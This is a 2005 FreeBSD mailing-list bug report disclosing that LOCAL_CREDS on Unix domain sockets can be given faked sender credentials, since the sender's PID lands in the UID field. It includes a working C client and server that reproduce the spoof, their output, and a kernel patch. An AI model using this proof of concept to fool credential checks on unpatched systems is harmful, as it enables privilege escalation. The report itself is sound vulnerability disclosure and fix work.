kern/90800: [patch] it is possible to fake credentials in
LOCAL_CREDS
Andrey Simonenko
simon at comsys.ntu-kpi.kiev.ua
Thu Dec 22 03:00:35 PST 2005
>Number: 90800
>Category: kern
>Synopsis: [patch] it is possible to fake credentials in LOCAL_CREDS
>Confidential: no
>Severity: serious
>Priority: medium
>Responsible: freebsd-bugs
>State: open
>Quarter:
>Keywords:
>Date-Required:
>Class: sw-bug
>Submitter-Id: current-users
>Arrival-Date: Thu Dec 22 11:00:17 GMT 2005
>Closed-Date:
>Last-Modified:
>Originator: Andrey Simonenko
>Release: FreeBSD 6.0-STABLE i386
>Organization:
>Environment:
FreeBSD 6.0-STABLE
src/sys/kern/uipc_usrreq.c,v 1.155.2.2
>Description:
In FreeBSD 6.0 LOCAL_CREDS option for Unix domain sockets was
added, like NetBSD (and probably other systems) now a receiver
can get credential information about a sender.
In FreeBSD < 6.0 there is a method to receive sender's credentials
if a sender "sends" credentials to a receiver (the kernel constructs
and fills struct cmsgcred).
Both methods use the same control message type SCM_CREDS with the
same control message level SOL_SOCKET, so they are indistinguishable
for a receiver.
Now if a sender sends cmsgcred's style credentials and a receiver
expects LOCAL_CREDS's style credentials, then a receiver will
get two control messages: first with the cmsgcred structure and
second with the sockcred structure. Remember that a receiver
expects to get the sockcred structure.
Result picture (for 32bit system at least):
struct cmsgcred { struct sockcred {
pid_t cmcred_pid; - FAKE -> uid_t sc_uid;
uid_t cmcred_uid; - FAKE -> uid_t sc_euid;
uid_t cmcred_euid; - FAKE -> gid_t sc_gid;
gid_t cmcred_gid; - FAKE -> gid_t sc_egid;
short cmcred_ngroups; int sc_ngroups;
gid_t cmcred_groups[...]; gid_t sc_groups[1];
}; };
First FAKE is the most serious.
>How-To-Repeat:
Here I include client and server to test the problem,
compile them and run.
Client cli.c:
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/un.h>
#include <unistd.h>
int
main(void)
{
int sockfd;
struct iovec iov[1];
struct msghdr msg;
struct cmsghdr *cmptr;
struct sockaddr_un servaddr;
union {
struct cmsghdr cm;
char control[CMSG_SPACE(sizeof(struct cmsgcred))];
} control_un;
printf("PID %lu\n", (u_long)getpid());
system("id");
if ( (sockfd = socket(AF_LOCAL, SOCK_STREAM, 0)) < 0)
err(1, "socket(AF_LOCAL, SOCK_STREAM, 0)");
bzero(&servaddr, sizeof servaddr);
servaddr.sun_family = AF_LOCAL;
strncpy(servaddr.sun_path, "/tmp/sock.un", sizeof(servaddr.sun_path) - 1);
if (connect(sockfd, (struct sockaddr *)&servaddr, sizeof servaddr) < 0)
err(1, "connect");
bzero(&msg, sizeof msg);
msg.msg_control = control_un.control;
msg.msg_controllen = sizeof control_un.control;
cmptr = CMSG_FIRSTHDR(&msg);
cmptr->cmsg_len = CMSG_LEN(sizeof(struct cmsgcred));
cmptr->cmsg_level = SOL_SOCKET;
cmptr->cmsg_type= SCM_CREDS;
msg.msg_name = NULL;
msg.msg_namelen = 0;
iov[0].iov_base = "hello";
iov[0].iov_len = 5;
msg.msg_iov = iov;
msg.msg_iovlen = 1;
if (sendmsg(sockfd, &msg, 0) < 0)
err(1, "sendmsg");
if (close(sockfd) < 0)
err(1, "close");
return 0;
}
Server srv.c:
#include <err.h>
#include <limits.h>
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/un.h>
#include <unistd.h>
#include <netinet/in.h>
static void
get_msg(int fd)
{
int i;
char buf[10];
ssize_t nread;
struct msghdr msg;
struct iovec iov[1];
union {
struct cmsghdr cm;
char control[10240];
} control_un;
struct cmsghdr *cmptr;
struct sockcred *sockcred;
msg.msg_control = control_un.control;
msg.msg_controllen = sizeof control_un.control;
msg.msg_name = NULL;
msg.msg_namelen = 0;
bzero(buf, sizeof buf);
iov[0].iov_base = buf;
iov[0].iov_len = 5;
msg.msg_iov = iov;
msg.msg_iovlen = 1;
nread = recvmsg(fd, &msg, 0);
if (nread < 0)
err(1, "recvmsg");
if (nread != 5)
errx(1, "recvmsg");
printf("received `%s'\n", buf);
if (msg.msg_flags & MSG_CTRUNC)
errx(1, "control data was truncated");
if (msg.msg_controllen < sizeof(struct cmsghdr))
warnx("sender's credentials are not returned (msg_controllen = %d)",
(int)msg.msg_controllen);
else {
printf("msg_controllen %d\n", msg.msg_controllen);
for (cmptr = CMSG_FIRSTHDR(&msg); cmptr != NULL; cmptr = CMSG_NXTHDR(&msg, cmptr)) {
if (cmptr->cmsg_len < CMSG_LEN(SOCKCREDSIZE(1)))
errx(1, "incorrect control message with credentials (less than %u bytes)",
CMSG_LEN(SOCKCREDSIZE(1)));
printf("cmsg_len %d\n", cmptr->cmsg_len);
if (cmptr->cmsg_level != SOL_SOCKET)
errx(1, "cmsg_level != SOL_SOCKET");
if (cmptr->cmsg_type != SCM_CREDS)
errx(1, "cmsg_type != SCM_CREDS");
sockcred = (struct sockcred *)CMSG_DATA(cmptr);
printf("UID %lu, GID %lu,",
(u_long)sockcred->sc_uid,
(u_long)sockcred->sc_gid);
for (i = 0; i < sockcred->sc_ngroups; ++i)
printf(" %lu", (u_long)sockcred->sc_groups[i]);
printf("\n");
}
}
if (close(fd) < 0)
err(1, "close");
}
int
main(void)
{
int optval, listenfd, connfd;
struct sockaddr_un servaddr;
if ( (listenfd = socket(AF_LOCAL, SOCK_STREAM, 0)) < 0)
err(1, "socket(AF_LOCAL, SOCK_STREAM, 0)");
bzero(&servaddr, sizeof servaddr);
servaddr.sun_family = AF_LOCAL;
strncpy(servaddr.sun_path, "/tmp/sock.un", sizeof(servaddr.sun_path) - 1);
(void)unlink("/tmp/sock.un");
if (bind(listenfd, (struct sockaddr *)&servaddr, sizeof servaddr) < 0)
err(1, "bind");
if (listen(listenfd, 5) < 0)
err(1, "listen(5)");
for (;;) {
if ( (connfd = accept(listenfd, (struct sockaddr *)NULL, (socklen_t *)NULL)) < 0)
err(1, "accept");
optval = 1;
if (setsockopt(connfd, 0, LOCAL_CREDS, &optval, sizeof optval) < 0)
err(1, "setsockopt");
get_msg(connfd);
}
return 0;
}
Running on original 6.0-STABLE:
% ./cli
PID 627
uid=1001(simon) gid=20(staff) groups=20(staff), 0(wheel)
% ./srv
received `hello'
msg_controllen 140
cmsg_len 96
UID 627, GID 1001, 20 20 0
cmsg_len 44
UID 1001, GID 20, 20 20 0
Running on 6.0-STABLE + patch:
% ./cli
PID 611
uid=1001(simon) gid=20(staff) groups=20(staff), 0(wheel)
% ./srv
received `hello'
msg_controllen 44
cmsg_len 44
UID 1001, GID 20, 20 20 0
>Fix:
In uipc_usrreq.c:unp_addsockcred() remove already linked SCM_CREDS
control messages, because they contain the cmsgcred structure.
Also I prepend a new control message to the head, I do not see
why this can be wrong, if this is wrong it will require few if()s
to append a new control message to the tail.
--- uipc_usrreq.c.orig Wed Nov 30 16:58:29 2005
+++ uipc_usrreq.c Wed Dec 21 23:16:44 2005
@@ -1546,8 +1546,9 @@
struct mbuf *
unp_addsockcred(struct thread *td, struct mbuf *control)
{
- struct mbuf *m, *n;
+ struct mbuf *m, *n, *n_prev;
struct sockcred *sc;
+ const struct cmsghdr *cm;
int ngroups;
int i;
@@ -1556,7 +1557,6 @@
m = sbcreatecontrol(NULL, SOCKCREDSIZE(ngroups), SCM_CREDS, SOL_SOCKET);
if (m == NULL)
return (control);
- m->m_next = NULL;
sc = (struct sockcred *) CMSG_DATA(mtod(m, struct cmsghdr *));
sc->sc_uid = td->td_ucred->cr_ruid;
@@ -1568,16 +1568,30 @@
sc->sc_groups[i] = td->td_ucred->cr_groups[i];
/*
- * If a control message already exists, append us to the end.
+ * Unlink SCM_CREDS control messages (struct cmsgcred), since
+ * just created SCM_CREDS control message (struct sockcred) has
+ * another format.
*/
- if (control != NULL) {
- for (n = control; n->m_next != NULL; n = n->m_next)
- ;
- n->m_next = m;
- } else
- control = m;
+ if (control != NULL)
+ for (n = control, n_prev = NULL; n != NULL;) {
+ cm = mtod(n, struct cmsghdr *);
+ if (cm->cmsg_level == SOL_SOCKET &&
+ cm->cmsg_type == SCM_CREDS) {
+ if (n_prev == NULL)
+ control = n->m_next;
+ else
+ n_prev->m_next = n->m_next;
+ n = m_free(n);
+ } else {
+ n_prev = n;
+ n = n->m_next;
+ }
+ }
- return (control);
+ /* Prepend it to the head. */
+ m->m_next = control;
+
+ return (m);
}
/*
>Release-Note:
>Audit-Trail:
>Unformatted:
More information about the freebsd-bugs
mailing list